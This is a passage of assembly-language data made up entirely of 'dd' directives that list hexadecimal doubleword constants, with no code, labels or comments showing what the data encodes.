3BC0B204h, 16FE7413h, 135C5420h, 70FDF4CBh dd 209C4F3Ah, 8AA6F028h, 1805C2E0h, 171A2689h, 0CEAC9080h dd 47112BBh, 0CD2801F8h, 0E4063487h, 79DE256Dh, 0BE5A3E40h dd 9A821ACh, 54E40DE5h, 0E23E1044h, 0B082BDDCh, 7323B8B9h dd 91A0990h, 0A879C89Eh, 1D60C94h, 256BB414h, 5C68F250h dd 0E7C93980h, 69033B6Ah, 0B146EAF9h, 0FE588A2h, 0E0909573h dd 0C2E98A21h, 0C309207Eh, 0B1DC490Eh, 621D8F6Ch, 3C440E2h dd 3A9040A9h, 0DB0090A4h, 0F9646671h, 0E2241A19h, 0A0787832h dd 4BF105C4h, 11B0C843h, 8B0E2500h, 151DC310h, 636C00B3h dd 0D0F298FAh, 479F12Ch, 0C2DC8250h, 19708D12h, 501EC0D1h dd 96D82731h, 284A025Fh, 0FF908A05h, 368034F9h, 7CCF1FC4h dd 0A04A0F69h, 21005259h, 0FAB1D434h, 11ED4600h, 0DB43C6F5h dd 54370B04h, 5480B678h, 0D088C6Eh, 0ACB876E8h, 49FD20Bh dd 6F0800F2h, 288833AFh, 6DF96D3h, 7C19C38Bh, 0F00328C1h dd 665E15A1h, 8C359841h, 0C919FA5h, 443ED4E1h, 0F34E2E00h dd 35691598h, 74B28Dh, 0B96EEBA3h, 0C69B0668h, 14833600h dd 0EA61BC0Eh, 754B485Fh, 99760A00h, 0AE064163h, 345C6C92h dd 0E188015Ah, 25DF3C02h, 8E008832h, 70B88229h, 3E009310h dd 36A6EA03h, 39674E13h, 0A7001659h, 893CE70Ch, 35001E7Bh dd 0F5B8B9CAh, 664015h, 4CBFE514h, 0C634338Ah, 3E2081E7h dd 0B8AA6417h, 28B31080h, 4EF272EDh, 90BFF601h, 0AF463CA1h dd 0B1F1218Ch, 0F004CD39h, 41725FABh, 93168EC0h, 922F00E9h dd 680E95A1h, 60198943h, 0E389401Eh, 55C2E0h, 8778B303h dd 987656E0h, 0F25CA000h, 4C5D845Ah, 0A9363F40h, 0D815399Eh dd 2FCE78B8h, 0DDDB8C03h, 0B0C09716h, 0C03593Dh, 46116472h dd 2D006561h, 2E090CCBh, 7C7A30Fh, 253AD034h, 7DD72020h dd 0C9C75E63h, 9B503BFDh, 0CD738Ah, 932EB983h, 7784BD5Ch dd 9AD5F900h, 0FBA88EC7h, 2D3A0430h, 1C616C3h, 4944A633h dd 0E6ADE30h, 0A18C0F0Dh, 21C41626h, 5AB59B00h, 0D0C24ED1h dd 3D3C0766h, 91AC0127h, 8CCCDFCBh, 9183ABD9h, 59B20062h dd 2D2A5B05h, 972EB8Ah, 52F2BD0Ch, 396E032h, 0FCB14F56h dd 0CDE0A987h, 0B73AD5F5h, 0AB6A8022h, 3C562EC4h, 49120A38h dd 80D490F7h, 2ADE927Eh, 960028D8h, 314DC991h, 30938F16h dd 4815D64h, 1F056048h, 0B9434E83h, 593F9420h, 5D9C0013h dd 9EECCD9Ah, 38611519h, 6294F3C1h, 8E68D8h, 0C5B0556Dh dd 0F02C5A84h, 0F4B980EFh dd 5D217489h, 65A400B6h, 5348D5BDh, 0B000ECCBh, 4118593Ch dd 1991686h, 0DBB69212h, 80C8F7B9h, 7BF1CBC1h, 28A65E36h dd 0C9C1B4h, 0E5FD838Fh, 93060C01h, 9E19893Fh, 0D000A416h dd 0FA38DA4Ah, 0BFE0FB7Dh, 7C117CBCh, 5C95001Bh, 25E6272Fh dd 4C030E8Eh, 0B3C9703h, 0FFF158BFh, 28CDBE00h, 8BEE0FCFh dd 818980EFh, 5BDE3E82h, 4E4A00D4h, 6EE1BC31h, 6918C773h dd 93F17F8Ah, 5A2300E4h, 0AE558C3Fh, 8B017DE0h, 0F6FC9863h dd 44F86704h, 8EA8A169h, 313CE3D0h, 0B68117B9h, 6848FE46h dd 9302E991h, 96B3FF07h, 7AA8407Eh, 680407CBh, 151638EFh dd 0F5A40318h, 0A90093F7h, 6214C487h, 0CE82C9Dh, 0C95438A9h dd 460AA150h, 0B16F11D2h, 0C10F0B3Ch, 0C7700FEBh, 3180F210h dd 3E02D6h, 813A4A83h, 591104BEh, 68041DDh, 63FB644Dh dd 0F1B1C0A9h, 67D88131h, 9642DB06h, 24A83799h, 40FC11D0h dd 0AA976393h, 67391814h, 3850198h, 0E7F6B3A3h, 15848440h dd 619300D8h, 2321FB3Dh, 0F7C8A19h, 0B239730Eh, 3F981566h dd 929228B1h, 3F0318E4h, 7CCE9ED0h, 0F69F801Fh, 0AEB80F49h dd 0C855963Ah, 0A8431114h, 14C06E8Eh, 2A1A0DC0h, 0AE89601h dd 36E7386Ch, 3DF4F820h, 40098CDh, 4341CCA8h, 0B402EFF7h dd 0BC395714h, 5DD490ABh, 36E7BCBh, 257A9683h, 71006989h dd 913E92E3h, 3815819h, 3CD02614h, 7DB39EFCh, 82902088h dd 158EEB09h, 6A4208Bh, 36FC0B1h, 0B0E7F22Eh, 6950353Ah dd 0DE4DB680h, 4539022Ch, 4C573CA9h, 8C2012D0h, 0D4B9112Ah dd 93B6007Dh, 523EAC1Ah, 2F002534h, 0FFE41FFEh, 2A814FBh dd 7C023D15h, 9FD61926h, 98DC7409h, 0F81060h, 0FF6114D8h dd 0F70A23B7h, 0A200A8A4h, 1CC15EB5h, 40CE67h, 9DEFC85Fh dd 633C5B71h, 24E09904h, 0CCC84BAFh, 1EE49916h, 3D380029h dd 98702A05h, 0D4839401h, 0CB8A67EAh, 0D264F180h, 0E3EC62F6h dd 0C0A44B00h, 90596DFFh, 7820F32Eh, 0A9C364D4h, 432A800Ch dd 48918145h, 95463C24h, 0B7CB006Ch, 0F172F34h, 1F0E29ACh dd 0AC3AAD81h, 541171CAh, 7E9C5Dh, 0C4846834h, 0C1E79977h dd 0C251C30Eh, 16760143h, 84626588h, 51B874h, 0EF040B47h dd 0BE9D5719h, 91F40200h, 273ECEDFh, 133C982Ch, 4C331506h dd 22CA2A30h, 4C028900h, 67B3F1EFh, 0AF6E0084h, 6145FDEEh dd 0AA0CF873h, 995AF058h, 0F6920A43h, 1803C2Ah, 0F77BAD39h dd 0D3C184CDh, 3680AF97h, 0ED0820Ch, 0AA3E691Fh, 0B4C125C0h dd 0B22CFE6Bh, 476E945Dh, 0C6603A22h, 5FD0E6Dh, 62EB801Eh dd 0A0748098h, 3E05C0ADh, 0E85B2A59h, 688100C0h, 44B348CBh dd 609F4A80h, 9D3A95A0h, 0EC89075Fh, 43BC74Fh, 134041F8h dd 8E56BE83h, 375E0D00h, 0D7F14349h, 0F05C00AFh, 0CBC2478Ah dd 0ED00CD98h, 9535035h, 902AE13Dh, 2643F827h, 61406781h dd 0E0D5ED79h, 45023AB1h, 0A87CBC0Bh, 0A98642Fh, 0A78A0208h dd 0F600BB8Ch, 0C9E49FEAh, 503C2A52h, 84252928h, 843C2C80h dd 1847B0h, 773A599Ch, 46BDDE97h, 3126853Ch, 638AF1C5h dd 4DCF1E8h, 0E093C48Ch, 9D18C29Bh, 47F260C0h, 9F150200h dd 4BE10BAFh, 12F8B076h, 263F390Dh, 7230D0E4h, 70491111h dd 732E300Fh, 59A8F548h, 24CC694Dh, 32401816h, 0EA0D984h dd 0E9058B13h, 0B3115FC0h, 872C1FFDh, 0B8A46C2Fh, 59D4B807h dd 0C740A2D0h, 0D4F25C86h, 1096D580h, 0DF00647h, 31F72748h dd 1ACA615Eh, 88F04430h, 0D2F2519Fh, 3C8BC02Eh, 0B5CF4C40h dd 86EA12h, 5523E09Eh, 3BA1717Ah, 0EF393A60h, 70F89DEh dd 6E31D638h, 1E631014h, 4924B171h, 0A8B38497h, 4888DD61h dd 74690F8Fh, 4E405994h, 0A8AD7F15h, 2C223B1Eh, 0DC8E0E00h dd 2EFF0138h, 77475B1h, 320819D9h, 0CCC4F758h, 7342961Dh dd 1304FDB9h, 453CB72Eh, 7D2090C8h, 37560061h, 2496A022h dd 0CE663A60h, 6A44B9h, 19EA0982h, 36962BD7h, 0D9AD7E00h dd 0A1784C05h, 0EDC70A8Eh, 119C8AC0h, 0F138005Dh, 7FF08DEEh dd 0A3950093h, 0A853DA89h, 4400F203h, 0B7F79AD1h, 99D8C8F3h dd 353906ACh, 3877B9AFh, 0B00C3624h, 598D5C0Ch, 0BC5654F0h dd 7197780h, 110FD2D9h, 0A665C0A5h, 430B6712h, 0F56F03h dd 0F098D7E8h, 90EF5863h, 0DD92FC3Fh, 308C138Ch, 9B92B3FCh dd 171F5901h, 0DBBE4ECDh, 1E04F020h, 0AC73F30Fh, 0A08500C4h dd 0A529955Ch, 44C01096h, 0DB8F43h, 64C5C37h, 0F0187CA5h dd 2A00F491h, 2B3ED6F6h, 1CF7483Ch, 80935580h, 5F007245h dd 0A528495Ah, 1AEF8ECh, 2019C8ADh, 0E00DE392h, 761E9BF9h dd 3E014150h, 714E44D7h, 303A2FD4h, 0CB89A490h, 0DCA8F1C9h dd 90B12B39h, 0D380B391h, 0BC745C93h, 0FADDE700h, 756401D7h dd 82AD046Ch, 88DBCB81h, 3F1F6078h, 0DCE8E0F1h, 0C101A00h dd 27EDB3D0h, 47A20059h, 5B6D6EC5h, 3C18A369h, 0B679B444h dd 3A4B0C03h, 9489D997h, 5F63CE00h, 0C3C4E979h, 1107759h dd 75892917h, 0F03A46BAh, 0AC59B913h, 8AE180F0h, 4A8F1EDEh dd 49C82036h, 4D133B39h, 840A4587h, 8402D462h, 44155208h dd 0C6310028h, 0E6858B6Eh, 0DAE725D8h, 0D0030CC4h, 1BD492D1h dd 0C8DAFB45h, 0F63F57B0h, 0E76C00DDh, 0FB93F5D6h, 0D0F1A59h dd 72473CB8h, 9F090C1Fh, 0F270A378h, 4511DBAh, 99148FB3h dd 2919D382h, 2681840h, 1741F39h, 18FF1C9Ah, 0C242C11h dd 10311CC3h, 2A00BD8Ah, 721C6D45h, 0AB30B3A1h, 0DC2D08Fh dd 0A4365023h, 0D30388C6h, 0FD451016h, 98A4EC0Bh, 2C78E0h dd 4EEA0B5Eh, 7F2A4BCDh, 26AD7CEBh, 0DB60ECD1h, 2C60F2h dd 0DF089742h, 3207F47Dh, 0DA63B200h, 77F91259h, 5464E4C9h dd 69B816h, 197AB07Eh, 0FD4D917Ch, 88769E00h, 113127CFh dd 36212445h, 0AC02009Ch, 3CA6297Eh, 418EB832h, 70052F0h dd 78E1DD44h, 10FAA0B2h, 52005628h, 46DA17AEh, 1F39AE0h dd 4CB48BCh, 39112483h, 5AAA00D4h, 0EAB889Bh, 673712C4h dd 404C1C7Ah, 3F59BE44h, 0AD00C0BCh, 0C938E399h, 24297CC8h dd 0E7C4AFEh, 299E6697h, 0F1F600A4h, 2B591D44h, 0BB0E8D09h dd 0C9C4806Ah, 26C9BA1h, 6246A08Eh, 0A8E4C2C8h, 0CF791002h dd 2F2A327Ah, 0E11DEC94h, 0CD250536h, 4A6482A4h, 0C78F5865h dd 0AB84DE61h, 0A6808360h, 0D808C9h, 652122D5h, 0E8EFAEC7h dd 9E002C90h, 520A2319h, 473A8Bh, 30593D62h, 43886BAAh dd 86845C48h, 0F08913B6h, 0FC3A488Ch, 0C95EF0C2h, 0D0127B00h dd 23B700DAh, 0A6968C2Eh, 0C04E10Dh, 0A902CE2Ah, 90E960C0h dd 41826164h, 0FCC4ED20h, 3007CBAh, 549D4CF9h, 748D9997h dd 981D13C1h, 27A40436h, 3395455Bh, 0B81E88Ch, 7DD58AA0h dd 0B5BA8081h, 0E5A8D90Fh, 6631814Eh, 76CCD75Bh, 2E38C420h dd 1D7045A3h, 0EF0C4043h, 39E587B3h, 1174C4A0h, 9EBA34A0h dd 0DC221600h, 939B09Bh, 9820F54Ah, 7B4E30C1h, 9C279930h dd 2D6E4313h, 1DA1C888h, 40094F6Ah, 0DF89F905h, 0CF0CFB1Dh dd 0B9A48AB9h, 31EB1DC0h, 240E80C2h, 0D0396532h, 0B8408B4Eh dd 0BD626C47h, 15050273h, 0A71FEA7Bh, 138941C0h, 17EE3E01h dd 9FA33FABh, 0F0A480F2h, 0A0984744h, 4C0F0E84h, 0DA80D415h dd 8A489CC0h, 3639D924h, 313EA90Bh, 8203D4Ch, 0E88A58F9h dd 57EBA283h, 62FA22A0h, 375A1378h, 43315020h, 82D90E46h dd 7800B798h, 4D5CA1ADh dd 32553904h, 0C852A734h, 30E1740h, 6912A5ADh, 8A8CE889h dd 9B500267h, 6EFBA797h, 26D3B080h, 714F4381h, 35A40827h dd 3CB360C0h, 19DA645Eh, 4DB4C8F0h, 848F6200h, 0ECE9C85Dh dd 0FE730020h, 0F471DC3Dh, 893A7703h, 181F8023h, 76CBD05Ch dd 0D8FE581Bh, 7FF6F301h, 80AB7043h, 0A6EE3F59h, 543DA9D5h dd 1383945Fh, 1200280h, 64942B8h, 0D526DD89h, 803C3C52h dd 47A9E5A5h, 92A00734h, 503FB1D2h, 3784EC57h, 6B483316h dd 71ED8C00h, 23EC41Ch, 86271065h, 0FC60EAFBh, 8E407B0Dh dd 9871149Eh, 8B80E43Ah, 0D7F98524h, 0C7CBE113h, 727B1820h dd 406E4F11h, 0E694B028h, 1BF8E72Dh, 8B00087Fh, 1EA05FB7h dd 7BF55DA7h, 0B0B27107h, 3A2A02F5h, 463C9245h, 0F12AA464h dd 990FACBEh, 40D74383h, 6B1AF7FDh, 39EE00CDh, 653445A1h dd 0BE26F89Ah, 0A23848E7h, 0C8740C12h, 0EAA1DDC7h, 3A397313h dd 949FB490h, 7E2D14A3h, 997EC7B1h, 92778074h, 57FBE093h dd 457FBB02h, 804C46ADh, 1B26F6D4h, 0D15B0049h, 8680784Eh dd 90A4C1CBh, 0FA624301h, 3FDC4FE2h, 134289DCh, 0B69C720h dd 2C8507E0h, 61D8C0A9h, 0ECA84811h, 2F00CFB1h, 0C7EDDB94h dd 2094483h, 0B0A95EA3h, 0E2205589h, 16999C5h, 7C760FF5h dd 0C45B2206h, 63306581h, 0F9E5C1E4h, 4B100DFh, 15C13A5Fh dd 8F0E845Eh, 277BE3BFh, 91D37DA2h, 0A3104B5h, 0C011F8EEh dd 8CE567F9h, 72278302h, 521580FCh, 0FAB51EECh, 0D616827Bh dd 0CB40C88Dh, 9A007A5Ch, 73C6BAE6h, 2C928167h, 4080F70Ch dd 0F1F58FC1h, 0C7AF8701h, 5A254914h, 24C0B07Bh, 3ACD70FDh dd 8453384Ah, 72FA8405h, 84312C95h, 0FB00E3E1h, 0A8747B05h dd 5295ED24h, 1001273Ah, 0F4470980h, 56FD0006h, 44E969C0h dd 0C00074Fh, 0A2A19F87h, 0FD0F428h, 8CAEF259h, 0B2EAA5C4h dd 0E2470070h, 261DE9A3h, 978707Ah, 46EF9862h, 205D0484h dd 3EE08696h, 44112393h, 24F12887h, 8235EE00h, 1C7D3C15h dd 0A28C046Fh, 8050A8B0h, 94D79ADCh, 2CA9EA09h, 3C98216Bh dd 2444825Fh, 5CD088h, 0CE8AA0Bh, 0D462309Fh, 0C004527Fh dd 0DD3A243Eh, 24A138A4h, 8174DF3Bh, 257AA992h, 0CE0DCC99h dd 0C574FF04h, 58F464CAh, 8EC0042h, 0F86F8ECDh, 721F79DCh dd 8F40663Ah, 98193E5Bh, 804CBC15h, 24C59F2Dh, 2E004AB7h dd 7240EC7Fh, 3C74D662h, 3E0A7085h, 13CC0227h, 0B3542059h dd 0A1245391h, 0A2005226h, 8A20D59Bh, 0CD0E26F1h, 0C05464C8h dd 0D7EEBB3Fh, 0B082A04h, 0B4801A8Ah, 0E97B5185h, 7791F4h dd 387210F4h, 1E2A132Bh, 25B51C05h, 40B229DCh, 0BA288200h dd 0E0DE2C55h, 5EC52E02h, 92FD5F43h, 994C90ACh, 9C050E4Eh dd 0F84093F2h, 726C4D07h, 920CE4EAh, 0A14711C9h, 0EA37008Ch dd 0B686F76Eh, 27090B23h, 483A8EC8h, 68B3BCh, 358CEB9Eh dd 3F01A1D5h, 742CC37Bh, 0AE41A48Ah, 0BBD8FC8Fh, 23C10047h dd 4975D72Fh, 2B3A983Eh, 29C52A8h, 3B0F95A1h, 0F6E4C43Ah dd 7C83007Eh, 817E5A0h, 177BF57h, 0FC787502h, 0E1EE2EC1h dd 0E6CAFBCCh, 8D0D1C1Ch, 4B15C794h, 7CC200EAh, 0B20E7024h dd 2BAD84F9h, 2C68C4DAh, 11907C8h, 0F50D5E39h, 0E2C02178h dd 0A124B622h, 993A9B50h, 9A054078h, 8218AA0Ah, 0DCE0FB14h dd 51F123Ch, 0EAC1EDD7h, 0BFB9436Bh, 79382442h, 0E1CC186Ch dd 61011C8Fh, 93BEFE05h, 0D2700E70h, 99300E38h, 7AA4C006h dd 37588262h, 8A8C1060h, 7700DCB1h, 0A088BECFh, 0F7AA2D4Ch dd 7C801CAEh, 71B32DE8h, 0E5811501h, 0D940533Bh, 9272420h dd 0F77545ABh, 0F637B410h, 675C191Ch, 0BB229683h, 0CB1AE1DBh dd 0F453DCD1h, 0E214E2D6h, 4F306439h, 37A01260h, 4FCD0054h dd 4A192718h, 0AF198CAAh, 17EEEE0h, 2F3C5270h, 30285496h dd 8488553Ch, 0F62270ECh, 36A03D46h, 2C85913h, 197CAD84h dd 0E6006859h, 0A24F25B0h, 5E960045h, 0CD67F06h, 754C46A0h dd 9DAB1F6Ch, 92128B80h, 0BA73AB2h, 0D43003AFh, 21E0EC0Eh dd 0AB112488h, 63A11067h, 32014540h, 0D4AD0E97h, 0AA015966h dd 0EF77935Bh, 433CBFF0h, 126334BCh, 36888127h, 3FC20h dd 0A093EA08h, 7CD79BE1h, 0B9B71C00h, 3F7B29F0h, 11BD01D3h dd 3ADEA645h, 2C5C3303h, 3B403016h, 7F0E2EBEh, 0C4180172h dd 0F9096E73h, 0A45D71ECh, 0F042B47Eh, 4FE8207Ch, 8300552Ah dd 6CB20711h, 7912EE3h, 155B9996h, 0D1472B0h, 0A47A9062h dd 56F16000h, 900E62C4h, 15DD0085h, 72A683Fh, 452506A3h dd 6F888067h, 4EDCEC0h, 0DDA99E44h, 6EE888F0h, 70170800h dd 0C1372C49h, 72FB002Ah, 0E3F813A0h, 42803A9h, 0B401C844h dd 604A7AC4h, 7171615Bh, 0A1C0DF21h, 0D1F0A2F3h, 0C22C002Ch dd 89AC9175h, 0AE9B8C00h, 74933F0Ch, 2E1F1472h, 0A700E811h dd 31BB275Ch, 0B8B932E9h, 8081D08Bh, 5CE2EE03h, 758C009Ch dd 0E13654F2h, 6800A0D3h, 90347B50h, 0FCAE4573h, 773B0BEAh dd 98C96493h, 996CC010h, 3456D100h, 0D65E30Ah, 1D43B811h dd 5731B7B1h, 0E1D70292h, 3454393Ah, 0D7530A40h, 24D201CCh dd 127727Ch, 0C0512039h, 0D08AE22Ch, 88446043h, 7833B30h dd 0E79C14A4h, 235E0F8h, 5A0E8B73h, 65B3E638h, 34F23FA3h dd 2D10AC00h, 0EA962090h, 970077E2h, 0BEB402E5h, 0C3E0BDEh dd 0BAF76B58h, 80003769h, 0A1F5AAA4h, 18E4C8Ah, 0E8277B93h dd 0EEC02FA0h, 2105684Ch, 0AC425C7h, 9F893CC0h, 0B842491Eh dd 20BD8D00h, 9B9E5162h, 828F923Bh, 0D995B690h, 3AED6171h dd 27809068h, 0CB424465h, 0BBC0EC0Eh, 918380C8h, 0EF1E06h dd 5F8404Fh, 0D4C6FF77h, 7AF042h, 1C83F2DFh, 574B99B6h dd 7BA3400Bh, 0E5188084h, 6E277DDh, 64C694C3h, 7900B99Bh dd 3AC5074Dh, 2430A7AAh, 0FCE3AFh, 23E67C8Ch, 0F82F777Fh dd 0B8841064h, 96200AEh, 0A531632Ah, 1002EE36h, 28E5F392h dd 5BDC8070h, 58356Ch, 0A0988C07h, 0E68808Ah, 3E71B600h dd 27D0444Ah, 2ADB00A3h, 0AFB2AC0Dh, 3924F6FBh, 29449096h dd 0F700B4A2h, 7CBD1ECCh, 0F02640CDh, 0D804AC73h, 9209BFA8h dd 32DA9490h, 6F839509h, 381680F6h, 9964370Bh, 354D0054h dd 0D3039BB2h, 3D75EB00h, 46DDC7EEh, 0BD370301h, 0A4163876h dd 3A2B27E0h, 4A0E2D03h, 58B73F39h, 0C7226C99h, 80B4123Eh dd 1C7B4413h, 0D5D41Fh, 0E9A0A849h, 55842711h, 7D9BC31Eh dd 4972F90h, 8004C8DCh, 0DB2427E4h, 2E4C1858h, 0AA2850F8h dd 5610A817h, 8024EC27h, 8190E424h, 4D9A3Fh, 0B3A8B57Ah dd 1474B7EDh, 0B35935F7h, 3A90C904h, 0EC68892Bh, 0B6017507h dd 0C2F5B44h, 0E08693A1h, 0D1CD3BBFh, 32C01700h, 7C4BBBE1h dd 0B0D700BEh, 92636FB3h, 792E09B4h, 9C0FAC31h, 7CC6C71Ch dd 1523BFC0h, 6C60E39Fh, 0E2B8811h, 809C78F1h, 1E37857Bh dd 4C34B865h, 3B2D5F18h, 0B5AC9CA0h, 8B74A509h, 0E95D0370h dd 0C3EE0008h, 0C11AD81h, 44B890B6h, 0FE1439B4h, 2D40677h dd 2CA87530h, 9E98A157h, 10109B65h, 3A00197Eh, 0C380780h dd 5C3048h, 0FB74BFF4h, 0A9CBA428h, 21A4601h, 0B8E35133h dd 9D04003Ch, 878F4541h, 2EA916C0h, 981A0C0Ch, 0AE9092h dd 39AA69B3h, 0FB3D7B49h, 90AEB3Ah, 0E4B8CFE1h, 73C50040h dd 879B141Ch, 0DA007EF0h, 0CC0C990Bh, 0F465A656h, 1FAC923Ch dd 4052751Bh, 8F550881h dd 2A01EFE4h, 0E2B065C8h, 38689220h, 9BA5D280h, 56009501h dd 776F0A10h, 78711AF5h, 0B44B25BEh, 115D6461h, 0F1202319h dd 3ACDF8B0h, 0C78106EDh, 95D73DA5h, 0BD44202Ch, 0CB36AC09h dd 1B05AB3h, 0DCE77973h, 2881FBB5h, 133E8058h, 2CF7B21Eh dd 2C0EFA01h, 0E9080010h, 69CD872Eh, 0CA46F14h, 484625CCh dd 4026B8h, 6297073Ch, 74D71E3Fh, 18FBA813h, 14D02000h dd 4F1216Bh, 0C88A893Ch, 821088C0h, 0CEBCC0Ch, 20B041h dd 0D89F7A47h, 0DFCB57F9h, 390580B1h, 34B4ACDDh, 4FC5AF7h dd 0C01AB108h, 6EBD5CD9h, 217B0627h, 0DBC860A0h, 800BF039h dd 44E8114Dh, 3F00916Eh, 0B30CC157h, 79FB8351h, 63E2271Dh dd 3ECC7C20h, 2C00C87Bh, 0A8EE819Eh, 150666Eh, 0DAF815D8h dd 70404C01h, 0BF887CD4h, 50E300B6h, 0DAE97FA2h, 3600D99Ah dd 0D5ED0D10h, 17963AAh, 9D5F7868h, 2C39FB85h, 9ED480A4h dd 0D50D51h, 0BE2D760Ah, 50C1D146h, 0D2B61202h, 0F210B5F2h dd 30109D70h, 0B000608Ch, 690BF945h, 487A8346h, 746403h dd 0D15D876Eh, 3C78CCB8h, 823395Fh, 0CDADA0F4h, 0F5050167h dd 0CB1F4AF8h, 619849C1h, 84E46074h, 0A9A7105h, 0A4B2E00Eh dd 30024800h, 3458EAEDh, 8E44B207h, 0BEE0A7DFh, 9D93E0C3h dd 0FF255890h, 1A694400h, 0D359825Eh, 703E0061h, 8DA0201Ch dd 98009B73h, 570AF05Ch, 0B411C2D5h, 0FE2680FCh, 7677A85Eh dd 5200C3E4h, 19E924E5h, 2E7A55AEh, 643460BCh, 4E91804Fh dd 893EA613h, 3A419D06h, 8405B82Ch, 88C824AFh, 80A0963Bh dd 55301B7Fh, 240FCACDh, 0C7E2698Dh, 8192F8D7h, 0A6ACE1AAh dd 0F7D035C1h, 0BC016E3h, 305CC853h, 84E8BD04h, 80C2AA50h dd 0BC1CC094h, 40B0BC3Ah, 6945A33Eh, 0C996A4A0h, 1D5A1122h dd 429BCCF9h, 1CD76B80h, 946930E0h, 0BFE7B307h, 6845F873h dd 0F8318833h, 0EBA729h, 4C6CFDAAh, 92D936F9h, 18B64801h dd 8F5EAF13h, 26705DC1h, 443D0022h, 0EC5FB7F4h, 58000848h dd 0D817E710h, 1D9A6807h, 0BC9F4E5Ch, 1F77A73Eh, 805DF67Ch dd 5B913F52h, 7575F429h, 6F02B706h, 128C932h, 23B84F17h dd 0E0784D09h, 0F60020BEh, 9354403Fh, 1D86B11Ah, 0E26AA9h dd 0A671B008h, 0A5002AA2h, 0B1C5E627h, 0F007A73Bh, 8F510E5Ch dd 6F03DA30h, 6114120Fh, 0D9D0D03h, 0B0FE9856h, 77EA4F0h dd 0DADE82A5h, 65F6E08Dh, 50073FBh, 0D606E784h, 3F7940h dd 0DCC89A09h, 7166B7CEh, 0BDEF0B00h, 86A86AA2h, 338C01E9h dd 7DD63DC4h, 0C9718E17h, 9969588Eh, 24F80062h, 0F196FCBAh dd 0E0784383h, 0CC15483Eh, 98A87A50h, 800EC4C0h, 0A089D537h dd 0FC5DFAE2h, 0BA2C0ECEh, 498A751Fh, 5AF8060h, 83A2A9A8h dd 8EB78C13h, 1C91A006h, 0FD9F3021h, 332F7B59h, 0E900DAF4h dd 557CDB2Ah, 0EED30B02h, 31D46298h, 21C00122h, 0AC008614h dd 18FE505Eh, 4D83BEh, 0F0959ADBh, 0A51BA399h, 39002BF8h dd 0BF91B19Ch, 3008C9F4h, 3A71F09Fh, 0DE3B17DAh, 0B805B859h dd 0CA22017Ah, 0F239C882h, 5158D610h, 75B1A802h, 8EEBEC49h dd 7AD702E0h, 88A4A1C8h, 6C10E099h, 0D11E5540h, 2D81FFDAh dd 0E660810h, 30AC4024h, 8481FA6Bh, 7D061BEFh, 3D6EFFB7h dd 0FB310E41h, 49C075FDh, 0C03B21Ah, 0A7BC100h, 5F186B8h dd 0BD6C1F3Fh, 6E10C648h, 52003938h, 0EFF8D65h, 7D5FDAD9h dd 95F21E06h, 0A985033Ch, 79000380h, 8A986E0Ah, 3F33369h dd 6FED73BBh, 51E23F6Ch, 0B7F8E960h, 7E1FA61Dh, 3873B9F0h dd 3C4008Bh, 90D64A8Eh, 0A6EA0807h, 0E5421C9h, 68801E44h dd 13F666A5h, 122F0055h, 35D4BB8Eh, 0FD033F2Dh, 7F69B550h dd 0E839078Ah, 10900BE2h, 0EEAE3C0Ch, 721DFD00h, 78A28581h dd 0A8DD0433h, 8860B7ABh, 7D30C7D8h, 0BBCC41B8h, 437008Ch dd 84DA89EDh, 7E508241h, 0F828F410h, 0BC008F2Ch, 43AE8F53h dd 14AF5A3Fh, 447E8EB6h, 3DE2FA00h, 0F581FCF4h, 12724201h dd 0A170391Eh, 0AD6CD4h, 76D1D260h, 0B3B82F4h, 0E1500C90h dd 2D734194h, 128D0909h, 4004106Eh, 0B8E8001Bh, 0C9F9AEE2h dd 4504E707h, 69540509h, 0D81E71C5h, 4831E558h, 0BC0B1FFCh dd 8B58C45Eh, 0C41C8285h, 56812620h, 80E2E56Fh, 444B51B0h dd 0B0D3005Dh, 0C539DDFh, 4892110Fh, 60848E03h, 9034BAF3h dd 62AF469h, 3AC8B81Ah, 49071EBh, 383A1142h, 7EE06A44h dd 5B117B60h, 0E8F106h, 4097028Bh, 3A9E99B1h, 0DED91600h dd 8857CD22h, 648E54C8h, 0EA870A21h, 80248F32h, 4F18D792h dd 460035D9h, 4A5140A1h, 9F2859h, 0D594A380h, 2299FF8Fh dd 6E0D88h, 850E4104h, 0ED91063Ch, 9448D60h, 179F111h dd 69025D16h, 80AB6B08h, 0E28EAC69h, 2FD472Dh, 8426D560h dd 73C0EED3h, 91000E1Fh, 5E7318C2h, 79B1B7D4h, 5F9A0713h dd 2A32106Dh, 0C7EC8088h, 0EDC3F272h, 980F3426h, 0C5935040h dd 5362025Dh, 99F805DCh, 81007464h, 31941FA8h, 1DFC8698h dd 91243767h, 7FEA00D7h, 49A6F0C2h, 0CD05042Ch, 0C08175D3h dd 0CF13FF70h, 0A8920F72h, 0A36EECE5h, 337C3B00h, 75C6B188h dd 265F1E0Eh, 7837C094h, 0F9E17A1Ah, 0FE181572h, 0C469D66Eh dd 97898h, 0A0DAF56Bh, 533D9A6h, 3057160Ah, 478394A1h dd 0A00C6521h, 4FDF79h, 0ECB607A4h, 7BD72604h, 4747448h dd 548B7F9h, 5480BC94h, 0C9F62F1h, 0EF800686h, 0CB035519h dd 0E330DDFBh, 0C8B7D816h, 0A769C92Bh, 26B47408h, 3849138Ah dd 3898AA84h, 27358E01h, 0D31BC48Fh, 36D2ECh, 7A077F4Dh dd 72215904h, 0B2136C18h, 1E970350h, 0DCB0C7h, 58E2865h dd 6054CD4Dh, 0C600314Ch, 5040EB67h, 7A4487h, 424C6205h dd 71543EC2h, 8D09B4E6h, 831A132Fh, 189E665Eh, 0C1236EA1h dd 771FF45h, 4EEE5503h, 0D86D6AF3h, 9C80EE6h, 69625941h dd 0C7393B80h, 0F6009665h, 11B625B3h, 0B8502108h, 0A0CA1E48h dd 219113CFh, 4873AC98h, 0B000AAACh, 0FA40473Eh, 2C97F0A9h dd 0F483A7Dh, 0E780E178h, 8F11364h, 48F91900h, 0A1FFAE10h dd 3ACF3ABBh, 97D6A9E1h, 5D5424E5h, 2F674F00h, 0FE902271h dd 7C6E0E66h, 9FA63D52h, 72C07904h, 1FFA80D6h, 763FFC9Ah dd 3E2CB8CAh, 6E98F250h, 0B630B1CDh, 32C8B9C0h, 7D6B26h dd 84259D23h, 30A70C55h, 5D76C01h, 9E8CA624h, 44329F42h dd 2F472668h, 0F21F00CBh, 0AEE08610h, 77DC3901h, 870E8E46h dd 26573470h, 3F902E42h, 0EF8855B3h, 0C9E86AE3h, 5801F134h dd 0C56653B6h, 38601836h, 0D7F515E0h, 9C007C85h, 199DCBA6h dd 5C17B71Eh, 5C208004h, 402A69h, 92738123h, 0D1762615h dd 88FDEC00h, 38878391h, 456700F1h, 2F48EF51h, 718CEA0h dd 2761DD32h, 3807695h, 